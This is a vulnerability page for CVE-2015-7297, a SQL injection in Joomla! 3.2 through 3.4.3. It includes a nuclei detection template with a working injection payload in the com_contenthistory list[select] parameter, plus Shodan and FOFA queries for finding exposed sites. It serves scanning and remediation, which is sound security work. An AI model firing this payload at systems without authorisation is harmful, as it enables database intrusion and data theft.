CVE-2015-7297· joomla / joomla\!· CWE-89
Joomla! Core SQL Injection
highseverity
7.5CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Joomla! CMS.
Fix
Apply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability.
How to confirm it
Send: GET {{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)
Positive when: contains "{{md5({{num}})}}"Run it with nuclei: nuclei -id CVE-2015-7297 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2015-7297
info:
name: Joomla! Core SQL Injection
author: princechaddha
severity: high
description: A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Joomla! CMS.
remediation: |
Apply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2015-7297
- http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
- https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/
- http://packetstormsecurity.com/files/134097/Joomla-3.44-SQL-Injection.html
- http://packetstormsecurity.com/files/134494/Joomla-Content-History-SQL-Injection-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score: 7.5
cve-id: CVE-2015-7297
cwe-id: CWE-89
epss-score: 0.99967
epss-percentile: 0.99976
cpe: cpe:2.3:a:joomla:joomla\!:3.2.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: joomla
product: joomla\!
shodan-query:
- http.html:"joomla! - open source content management"
- http.component:"joomla"
- cpe:"cpe:2.3:a:joomla:joomla\!"
fofa-query: body="joomla! - open source content management"
tags: cve2015,cve,packetstorm,joomla,sqli,vuln,vkev
variables:
num: "999999999"
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)"
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'References
- https://nvd.nist.gov/vuln/detail/CVE-2015-7297
- http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
- https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/
- http://packetstormsecurity.com/files/134097/Joomla-3.44-SQL-Injection.html
- http://packetstormsecurity.com/files/134494/Joomla-Content-History-SQL-Injection-Remote-Code-Execution.html
Use this check only on systems you are authorised to test. Where the data comes from